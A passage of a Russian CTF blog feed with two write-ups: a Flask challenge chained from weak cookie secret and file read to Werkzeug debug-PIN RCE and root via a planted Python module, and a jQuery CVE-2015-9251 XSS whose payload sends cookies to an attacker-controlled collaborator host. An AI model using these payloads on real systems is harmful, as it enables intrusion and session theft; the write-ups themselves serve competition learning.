  &lt;p id=&quot;KXMs&quot;&gt;P.S.: я практически уверен, что это можно реализовать проще и в меньшее количество строк кода. Но оно работает!&lt;/p&gt;

</content></entry><entry><id>collapsz:QkhtO1RBZ0E</id><link rel="alternate" type="text/html" href="https://teletype.in/@collapsz/QkhtO1RBZ0E?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=collapsz"></link><title>Django Unchained | Building a chain</title><published>2024-12-09T13:03:50.649Z</published><updated>2024-12-09T13:03:50.649Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/bf/01/bf0150e3-4a52-4b03-8358-fa88002423e5.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/f8/d5/f8d503be-1971-4bb9-ab88-82ed83f41865.png&quot;&gt;@fefuctf @collapsz</summary><content type="html">
  &lt;p id=&quot;XWil&quot;&gt;@fefuctf @collapsz&lt;/p&gt;
  &lt;hr /&gt;
  &lt;figure id=&quot;fFsG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f8/d5/f8d503be-1971-4bb9-ab88-82ed83f41865.png&quot; width=&quot;1820&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Ypvg&quot;&gt;Вступление&lt;/h2&gt;
  &lt;p id=&quot;ovKk&quot;&gt;Всем привет! &lt;/p&gt;
  &lt;p id=&quot;zi9d&quot;&gt;Совсем недавно завершился чемпионат России по программированию систем информационной безопасности, ребята показали крутые результаты и классно выступили. &lt;/p&gt;
  &lt;p id=&quot;wbXM&quot;&gt;Мы же в сегодняшнем материале разберем одно из заданий, которое мне довелось подготовить. Относится оно к категории Pentest и за время соревнований поддалось лишь трем командам.&lt;/p&gt;
  &lt;p id=&quot;ICMd&quot;&gt;Помчали. &lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;6lCh&quot;&gt;Решение&lt;/h2&gt;
  &lt;p id=&quot;gcH1&quot;&gt;В описании к задаче дан IP и порт, сканировать тут нечего, поэтому сразу двигаем на веб&lt;/p&gt;
  &lt;figure id=&quot;QpLs&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e4/b4/e4b42270-3c92-403c-bf07-c4f4d751679e.png&quot; width=&quot;3554&quot; /&gt;
    &lt;figcaption&gt;screenshot 1&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vuTj&quot;&gt;Написано оно на пайтоне &lt;/p&gt;
  &lt;figure id=&quot;L4G0&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/19/cc/19cc612d-b981-4524-a4c9-e1ca88b1a92b.png&quot; width=&quot;2232&quot; /&gt;
    &lt;figcaption&gt;screenshot 2&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;AIGN&quot;&gt;Проходим несложную регистрацию и получаем доступ к функционалу приложения – генератор паролей и случайных числ.&lt;/p&gt;
  &lt;figure id=&quot;NJlR&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/65/70/6570ac82-5819-4a5a-a971-e9724bf917e9.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;screenshot 3&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;o4V8&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/29/7b/297be576-a1cf-44d8-83fa-6540551d0b93.png&quot; width=&quot;3598&quot; /&gt;
    &lt;figcaption&gt;Random number &lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;lESU&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/71/1a/711a8d16-c575-4940-8fe6-fa8826d0bb87.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;password&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;pzhc&quot;&gt;Негусто. Однако помимо доступов к приложению нам была присвоена сессионная кука&lt;/p&gt;
  &lt;figure id=&quot;XAOO&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a7/19/a719d745-9096-4269-b65f-00b2d8d16095.png&quot; width=&quot;3174&quot; /&gt;
    &lt;figcaption&gt;Screnshot 6&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;H6oU&quot;&gt;И кука эта оказалась защищена слабым секретом, который успешно сбрутился при помощи модуля flask_unsign. Секретом оказался &lt;strong&gt;manchester.&lt;/strong&gt;&lt;/p&gt;
  &lt;blockquote id=&quot;lAjk&quot;&gt;Секрет – текстовая строка, известная серверу, при помощи которой происходит подпись cookie. Именно с использованием него сервер расшифровывает и проверяет валидность куки. Утечка или слабый секрет могут привести к получению несанкционированого доступа к функционалу приложения, что и произошло в этом задании. &lt;/blockquote&gt;
  &lt;p id=&quot;9epG&quot;&gt;Кука содержит в себе юзернейм, юзер-айди и булеан параметр id_vip_user, коим мы не являемся&lt;/p&gt;
  &lt;figure id=&quot;uI1f&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/30/a1/30a12818-61f9-4465-9500-5aca2354e85f.png&quot; width=&quot;3120&quot; /&gt;
    &lt;figcaption&gt;Screenshot 7&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4XGi&quot;&gt;Однако, имея секрет, мы можем создать и подписать куку, положив туда свои данные. Делается это при помощи все того же flask_unsign:&lt;/p&gt;
  &lt;pre id=&quot;x1iI&quot;&gt;python3 -m flask_unsign --sign --secret manchester -c &amp;lt;data&amp;gt; &lt;/pre&gt;
  &lt;p id=&quot;BFeu&quot;&gt;Подписываем, вставляем в браузер и получаем доступ к новому функционалу приложения – to-do листу и Kittys&amp;#x27;s gallery &lt;/p&gt;
  &lt;figure id=&quot;OKjv&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9f/76/9f767106-d400-47b1-9a00-3d5c26506d51.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;Screenshot 8&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;AJ9h&quot;&gt;To-do в себе чего-то интересного не содержит &lt;/p&gt;
  &lt;figure id=&quot;ngjU&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/ff/90/ff9002fb-252d-4835-9c32-f190ca7d812f.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;Screenshot 8&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;M4Mz&quot;&gt;А Kitty&amp;#x27;s gallery содержит в себе фото котят. Не соврали в названии, выходит &lt;/p&gt;
  &lt;figure id=&quot;rp16&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cf/7f/cf7f02cf-8157-4a0c-8be2-5f0d3f0cbaef.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;Screenshot 9&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3kH9&quot;&gt;Но интересны здесь не столько сами котята, сколько обращение к апи при подгрузке станицы:&lt;/p&gt;
  &lt;figure id=&quot;Bqa0&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bd/dc/bddca3b7-e044-4b62-b564-002acd886bdd.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;Screenshot 10&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;HnHI&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2d/4e/2d4ebc2d-ba89-4a05-8a51-e8ed8b59941e.png&quot; width=&quot;3596&quot; /&gt;
    &lt;figcaption&gt;Screenshot 11&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;JOiw&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/45/f8/45f8a122-f824-46bc-ae5b-1c054a712e49.png&quot; width=&quot;2882&quot; /&gt;
    &lt;figcaption&gt;Screenshot 12&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;BKJE&quot;&gt;Еще и v2. А что если понизить версию до v1? В таком случае api требует некий параметр file:&lt;/p&gt;
  &lt;figure id=&quot;XoWD&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/05/4d/054dba20-f642-42b2-9055-97cbc9766f05.png&quot; width=&quot;2884&quot; /&gt;
    &lt;figcaption&gt;Screenshot 13&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;XVpM&quot;&gt;И здесь мы получаем Arbitrary File Read: &lt;/p&gt;
  &lt;figure id=&quot;Qr4W&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/99/30/99303b48-7748-499b-9516-8da9b4a4fab4.png&quot; width=&quot;2876&quot; /&gt;
    &lt;figcaption&gt;Screenshot 14&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yOZf&quot;&gt;Но что делать дальше? SSH на машине не запущен, никаких паролей учетных записей мы не находили, как добраться до заветного RCE?&lt;/p&gt;
  &lt;p id=&quot;Jajo&quot;&gt;На хабре есть крутой &lt;a href=&quot;https://habr.com/ru/articles/738238/&quot; target=&quot;_blank&quot;&gt;материал&lt;/a&gt; о том, как можно раскрутить AFR до RCE используя алгоритм генерации debug pin, к этому способу мы и прибегнем. Полностью дублировать статью я не буду, ознакомиться с ней детально можно по ссылке выше, но вкратце вот, что нам нужно собрать:&lt;/p&gt;
  &lt;ul id=&quot;a5Qc&quot;&gt;
    &lt;li id=&quot;Hbtj&quot;&gt;username –&amp;gt; /etc/passwd&lt;/li&gt;
    &lt;li id=&quot;oVfW&quot;&gt;modname –&amp;gt; flask.app by default&lt;/li&gt;
    &lt;li id=&quot;uLYI&quot;&gt;flask path –&amp;gt; можно найти, вызвав ошибку в приложении. Например, попытаться прочитать /etc/shadow&lt;/li&gt;
    &lt;li id=&quot;1TuT&quot;&gt;MAC –&amp;gt; /sys/class/net/eth0/address&lt;/li&gt;
    &lt;li id=&quot;IFHi&quot;&gt;machine id –&amp;gt; /etc/machineid + /proc/self/cgroup&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;DiQT&quot;&gt;Собрав все необходимые данные, клонируем себе Werkzeuger и запускаем генерацию пина на основе имеющихся данных: &lt;/p&gt;
  &lt;figure id=&quot;6215&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/60/24/60241e35-d7ac-4f2c-9e4e-79e7aa263e13.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;Screenshot 15&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;V70L&quot;&gt;В результате работы скрипта получаем несколько пинов:&lt;/p&gt;
  &lt;figure id=&quot;LcZR&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/15/f7/15f7cd0b-f071-469c-8d75-11c64bc96de9.png&quot; width=&quot;3586&quot; /&gt;
    &lt;figcaption&gt;Screenshot 16&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SFOA&quot;&gt;Прежде чем перейти дальше, нужно разобраться с ошибкой:&lt;/p&gt;
  &lt;figure id=&quot;5cIm&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0a/ed/0aed55dd-cd47-42ec-a0f4-2c757a40ce3f.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;Screenshot 17&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3Rk0&quot;&gt;Многие писали с вопросом &amp;quot;а работает ли приложение? там 400 ответ на /console&amp;quot;. Приложение работает, а 400 ошибка связана с небольшой особенностью debug режима во фласке. Чтобы победить этот этап просто подменяем заголовок Host с IP на localhost:&lt;/p&gt;
  &lt;figure id=&quot;jllf&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ef/cf/efcf162e-d098-4fd0-8b33-fba177cba16d.png&quot; width=&quot;2880&quot; /&gt;
    &lt;figcaption&gt;Screenshot 18&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8rKX&quot;&gt;И здесь, наконец, получаем то заветное RCE:&lt;/p&gt;
  &lt;figure id=&quot;hPlm&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e4/bc/e4bc549c-2ccb-46ab-8d36-3ce00471b91e.png&quot; width=&quot;2870&quot; /&gt;
    &lt;figcaption&gt;Screenshot 19&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;65SD&quot;&gt;Пробрасываем себе шелл любым &lt;s&gt;удобным&lt;/s&gt; рабочим способом и оказываемся в системе:&lt;/p&gt;
  &lt;figure id=&quot;s77G&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/82/9e/829ed9bb-1a4a-4c17-a452-7b4155e21359.png&quot; width=&quot;1304&quot; /&gt;
    &lt;figcaption&gt;Screenshot 20&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jksz&quot;&gt;Мы находимся под пользователем app, осталось всего-то повыситься до root =) &lt;/p&gt;
  &lt;p id=&quot;GVb6&quot;&gt;После перечисления ресурсов системы, с поиском вектора повышения могло повезти, а могло не повезти. Гарантированный способ увидеть что-то неладное – мониторинг процессов при помощи pspy:&lt;/p&gt;
  &lt;figure id=&quot;DAz9&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/86/d2/86d2b580-939a-49b8-bb9a-dd8bd679af95.png&quot; width=&quot;2370&quot; /&gt;
    &lt;figcaption&gt;Screenshot 20&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DVDn&quot;&gt;Раз в три минуты запускается некий скрипт &lt;em&gt;/root/healthcheck.sh&lt;/em&gt;, похожую директорию можно было найти в /&lt;em&gt;opt&lt;/em&gt;. А подождав еще немного, можно было увидеть, как от имени рута выполняется &lt;em&gt;rm-rf&lt;/em&gt; по директории &lt;em&gt;/opt/healthcheck/*&lt;/em&gt;, после чего туда записывается и выполняется какой-то скрипт, после чего снова &lt;em&gt;rm -rf /opt/healthcheck/*&lt;/em&gt;. &lt;/p&gt;
  &lt;p id=&quot;EoUD&quot;&gt;Поймать тайминг и прочитать скрипт – наша первичная цель:&lt;/p&gt;
  &lt;figure id=&quot;NfeN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b5/fc/b5fcf3ea-a846-4463-b626-3b59e7663d48.png&quot; width=&quot;1798&quot; /&gt;
    &lt;figcaption&gt;Screenshot 21&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uZk4&quot;&gt;Скрипт безобиден и просто собирает информацию о состоянии системы, однако можно увидеть, что он импортирует 4 сторонних модуля и &lt;strong&gt;выполняется от имени рута.&lt;/strong&gt; А права-то на директорию у нас&lt;strong&gt; rwx. &lt;/strong&gt;&lt;/p&gt;
  &lt;blockquote id=&quot;4ncX&quot;&gt;Python берет модули из определенного набора директорий, начиная с текущей, поэтому права 777 на неё – недопустимая конфигурация. Таким образом, нашла задача поймать первый rm -rf, дождаться записи скрипта и подложить к нему свой, вредоносный – к примеру, psutils.py. &lt;/blockquote&gt;
  &lt;p id=&quot;G29e&quot;&gt;Дожидаемся очередную итерацию крона и пишем скрипт:&lt;/p&gt;
  &lt;pre id=&quot;pRdu&quot;&gt;echo &amp;quot;import os; os.system(&amp;#x27;cp /bin/bash /tmp/bash &amp;amp;&amp;amp; chmod +s /tmp/bash&amp;#x27;)&amp;quot; &amp;gt; /opt/healthcheck/psutil.py&lt;/pre&gt;
  &lt;p id=&quot;H6uJ&quot;&gt;Скрипт healthcheck.py отработает с ошибкой, но подарит нам бинарник bash, принадлежащий руту и повесит на него SUID.&lt;/p&gt;
  &lt;blockquote id=&quot;MHVt&quot;&gt;SUID-бит – конфигурация прав в *nix, позволяющая запускать файл, на котором он установлен, с правами владельца этого файла. Если владелец root – с правами root, пользователь app – с правами app.&lt;/blockquote&gt;
  &lt;p id=&quot;tNMV&quot;&gt;Дожидаемся, проверяем, запускаем.&lt;/p&gt;
  &lt;figure id=&quot;Brz8&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d8/a6/d8a61923-3a0c-4997-bc2d-92555f9dac32.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Screenshot 22&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;cg5T&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;Ai3Q&quot;&gt;На этом сегодняшнее чтиво с большим количеством картинок подходит к концу. Shoutout to @anodev за его First Blood на этой машинке, а так же к ребятам из ИТМО, которые сделали это ровно на две минуты позже. Ваша гонка на этой машине была незабываемой =)&lt;/p&gt;

</content></entry><entry><id>collapsz:zzdwqY8Cvsy</id><link rel="alternate" type="text/html" href="https://teletype.in/@collapsz/zzdwqY8Cvsy?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=collapsz"></link><title>Konstrukt | Web | CTF Cup Russia</title><published>2024-10-27T18:03:41.841Z</published><updated>2024-10-28T02:40:12.695Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/f3/9e/f39e4d68-5300-472e-8d53-087a4bc2e14c.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/6a/7d/6a7d549f-1435-43e3-b520-4e416888bac9.jpeg&quot;&gt;@fefuctf @collapsz</summary><content type="html">
  &lt;p id=&quot;fY4t&quot;&gt;@fefuctf @collapsz&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;SMgQ&quot;&gt;Вступление&lt;/h2&gt;
  &lt;p id=&quot;ta0v&quot;&gt;Всем привет! &lt;/p&gt;
  &lt;p id=&quot;tois&quot;&gt;27 октября завершился VIII Кубок CTF России, по результатам которого наша команда заняла 7 место. В сегодняшнем материале я хотел бы разобрать одну интересную цепочку, которую нам удалось реализовать в ходе решения задания Konstrukt вместе с @anodev. &lt;/p&gt;
  &lt;p id=&quot;phjV&quot;&gt;Ставим одноименный трек на фон и помчали!&lt;/p&gt;
  &lt;h2 id=&quot;IFPt&quot;&gt;Решение&lt;/h2&gt;
  &lt;p id=&quot;C0qz&quot;&gt;В задании нам даются все файлы приложения и возможность создать себе инстанс для решения (в рамках статьи решать будем на локальном инстансе). &lt;/p&gt;
  &lt;figure id=&quot;6nXN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/39/d2/39d29b5a-e76b-4f74-99cd-223e4c3a4d4b.png&quot; width=&quot;1478&quot; /&gt;
    &lt;figcaption&gt;Whitebox&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;h4qs&quot;&gt;Бегло пробежавшись по исходным файлам, мы подметили наличие скрипта bot.js, ненавязчиво намекающего, что у нас тут какой-то client-side. &lt;/p&gt;
  &lt;figure id=&quot;nh2u&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8c/ae/8cae13e8-6a8a-4179-8e3e-77ff5a7b9b09.png&quot; width=&quot;2110&quot; /&gt;
    &lt;figcaption&gt;bot.js&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wvgZ&quot;&gt;В остальном ничего интересного мы не нашли и отправились изучать веб-интерфейс приложения. А там у нас ничто иное как конструктор веб-сайтов с поддержкой &lt;strong&gt;Markdown&lt;/strong&gt; и возможностью создавать страницы.&lt;/p&gt;
  &lt;figure id=&quot;9zdG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2c/9f/2c9f14a5-ba72-444e-b94f-6ac97577263d.png&quot; width=&quot;3502&quot; /&gt;
    &lt;figcaption&gt;home&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0oa2&quot;&gt;Немного поигравшись с MD мы пришли к тому, что в никакой уязвимости в явном виде мы здесь не найдем и отправились копать глубже.&lt;/p&gt;
  &lt;figure id=&quot;wKAj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a6/94/a6947dda-88f8-4e64-908b-0ca1a862db9b.png&quot; width=&quot;1758&quot; /&gt;
    &lt;figcaption&gt;Markdown &lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;feCZ&quot;&gt;Мы начали с изучения веб-технологий, используемых веб-сайтом с в глаза сразу же бросилась библиотека jQuery версии 2.2.4 (актуальная версия – 3.7.1). Интересно.&lt;/p&gt;
  &lt;figure id=&quot;d78m&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/84/27/8427f09a-171a-4126-863e-5b18dab2c459.png&quot; width=&quot;2498&quot; /&gt;
    &lt;figcaption&gt;jquery 2.2.4&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;1eJh&quot;&gt;Справка: jQuery — это быстрая, небольшая и функциональная JavaScript библиотека, которая упрощает работу с HTML-документами, обработку событий, анимацию и взаимодействие с AJAX. Она позволяет разработчикам писать меньше кода для выполнения сложных задач и обеспечивает кроссбраузерную совместимость. &lt;/blockquote&gt;
  &lt;p id=&quot;Xrdq&quot;&gt;Немного погуглив, мы нашли весьма интересную уязвимость, подходящую для нашей ситуации – CVE-2015-9251&lt;/p&gt;
  &lt;figure id=&quot;6vIG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/49/af/49af5a53-a1e9-48cc-b2f8-757d5a1dec34.png&quot; width=&quot;2034&quot; /&gt;
    &lt;figcaption&gt;CVE&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;2HOg&quot;&gt;Справка: CVE-2015-9251 — это уязвимость в библиотеке jQuery, которая может привести к выполнению произвольного кода через уязвимые версии jQuery при использовании метода &lt;code&gt;$.ajax()&lt;/code&gt;. Эта уязвимость возникает из-за недостаточной проверки входных данных, что позволяет злоумышленнику манипулировать запросами и получать доступ к конфиденциальной информации или выполнять нежелательные действия на стороне клиента.&lt;/blockquote&gt;
  &lt;p id=&quot;9j6C&quot;&gt;Окей, нашли уязвимость, как ее теперь применить? Описание уязвимости гласит о неком cross-domain Ajax request, поэтому и думать пришлось в сторону него:&lt;/p&gt;
  &lt;figure id=&quot;uwhv&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ef/01/ef01124b-18c1-4264-9316-8fd9ccacab84.png&quot; width=&quot;2572&quot; /&gt;
    &lt;figcaption&gt;CVE Detail&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;p3Zs&quot;&gt;Небольшой ресерч позволил нам обнаружить, что при запросе вида &lt;a href=&quot;http://base_url//example.com&quot; target=&quot;_blank&quot;&gt;http://base_url//example.com&lt;/a&gt; браузер посредством Ajax-запроса будет безуспешно пытаться запросить какой-то .json с example.com:&lt;/p&gt;
  &lt;figure id=&quot;7zFH&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9b/46/9b46e404-079f-4673-933a-769e3ee032cf.png&quot; width=&quot;2188&quot; /&gt;
    &lt;figcaption&gt;Source code&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mEdI&quot;&gt;А при помощи Burp Collaborator мы убедились, что запросы действительно летят на подконтрольный нам сервер:&lt;/p&gt;
  &lt;figure id=&quot;nnBJ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/25/e7/25e791a3-8b9d-48c9-b31d-be04f7760df5.png&quot; width=&quot;3502&quot; /&gt;
    &lt;figcaption&gt;url&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LXDD&quot;&gt;И вновь за каким-то .json&lt;/p&gt;
  &lt;figure id=&quot;EWGQ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8e/ae/8eae5846-27bb-4c51-b7ac-3b4da98f05a6.png&quot; width=&quot;1766&quot; /&gt;
    &lt;figcaption&gt;Collaborator&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;2dZm&quot;&gt;Собственно, вот и есть тот самый &lt;em&gt;cross-domain Ajax request. &lt;/em&gt;Осталось дело за малым&lt;em&gt; – дать ему то, что он хочет.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;DGsW&quot;&gt;Для начала мы решили попробовать стандартную нагрузку для cookie hijacking:&lt;/p&gt;
  &lt;pre id=&quot;oXi2&quot;&gt;document.location=&amp;quot;https://uec4rpqgcs5dryq81ng1xqf990fs3ir7.oastify.com/?cookie=&amp;quot;+document.cookie&lt;/pre&gt;
  &lt;p id=&quot;5qYS&quot;&gt;Спойлер: её оказалось достаточно. Нагрузку записали её в файл data.js. &lt;/p&gt;
  &lt;p id=&quot;lYuc&quot;&gt;Далее нами был поднят простенький FastAPI-сервер, который в ответ на запрос по нужному нам маршруту возвращал содержимое файла data.js – нашу полезную нагрузку:&lt;/p&gt;
  &lt;pre id=&quot;1CuJ&quot;&gt;from fastapi import FastAPI
from fastapi.responses import Response
import uvicorn
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()



app.add_middleware(
    CORSMiddleware,
    allow_origins=[&amp;quot;*&amp;quot;],
    allow_credentials=True,
    allow_methods=[&amp;quot;*&amp;quot;],
    allow_headers=[&amp;quot;*&amp;quot;],
)


@app.get(&amp;quot;/data.js.json&amp;quot;)
def route():
    return Response(content=open(&amp;#x27;data.js&amp;#x27;).read(), media_type=&amp;quot;application/javascript&amp;quot;)


uvicorn.run(app, host=&amp;quot;0.0.0.0&amp;quot;, port=19000)&lt;/pre&gt;
  &lt;figure id=&quot;oISk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0c/d1/0cd1dfd5-9d50-4d3a-a80e-2d2ff54c0f1b.png&quot; width=&quot;1988&quot; /&gt;
    &lt;figcaption&gt;api &amp;amp; payload&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uoMZ&quot;&gt;Теперь, при обращении по адресу &lt;a href=&quot;http://base_url//evil.com/data.js&quot; target=&quot;_blank&quot;&gt;http://base_url//evil.com/data.js&lt;/a&gt; на наш FastAPI-севрер прилетает запрос на путь /data.js.json, тот самый, который мы описали в его логике:&lt;/p&gt;
  &lt;figure id=&quot;heRs&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/74/bc/74bc202d-7347-4f0c-add2-3b100cd6652c.png&quot; width=&quot;3008&quot; /&gt;
    &lt;figcaption&gt;Request&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xlZO&quot;&gt;В ответ на что наш FastAPI заботливо возвращает XSS payload с заголовком content-type: application/javascript&lt;/p&gt;
  &lt;figure id=&quot;C6ho&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1b/68/1b68b84a-792e-4546-a4ff-c8b54500e245.png&quot; width=&quot;1272&quot; /&gt;
    &lt;figcaption&gt;xss&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lZx9&quot;&gt;А на Collaborator прилетел запрос с нашими собственными cookie – трюк удался:&lt;/p&gt;
  &lt;figure id=&quot;dBZi&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f6/54/f6547a93-7463-43ad-9049-003c669b1979.png&quot; width=&quot;1314&quot; /&gt;
    &lt;figcaption&gt;collabor&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6AR5&quot;&gt;Осталось лишь дождаться, когда админ подарит нам свою куку, внутри нее и будет ответ к заданию.&lt;br /&gt;&lt;/p&gt;
  &lt;h2 id=&quot;lZxL&quot;&gt;Заключение  &lt;/h2&gt;
  &lt;p id=&quot;HzE8&quot;&gt;Несмотря на то, что выше описанное не выглядит чрезвычайно сложным, jQuery уязвимости в подобных заданиях встречаются нечасто и в результате таск провисел с нашим единственным решением почти 4 часа, прежде чем на него поступил второй солв. Такие дела. &lt;/p&gt;

</content></entry><entry><id>collapsz:WUJajYQ7T5L</id><link rel="alternate" type="text/html" href="https://teletype.in/@collapsz/WUJajYQ7T5L?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=collapsz"></link><title>II. Разбор недопустимых событий с отборочных на Международные игры</title><published>2024-10-15T08:58:05.665Z</published><updated>2024-12-27T08:11:15.769Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/d2/a9/d2a94d7f-b900-45fd-ae2e-151e1f76c9da.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/20/0c/200c4946-5a9c-47d2-bde0-16e0956c11b0.jpeg&quot;&gt;@fefuctf @collapsz</summary><content type="html">
  &lt;p id=&quot;2hcd&quot;&gt;@fefuctf @collapsz&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;BBuQ&quot;&gt;Вступление&lt;/h2&gt;
  &lt;p id=&quot;fBsQ&quot;&gt;Всем привет!&lt;/p&gt;
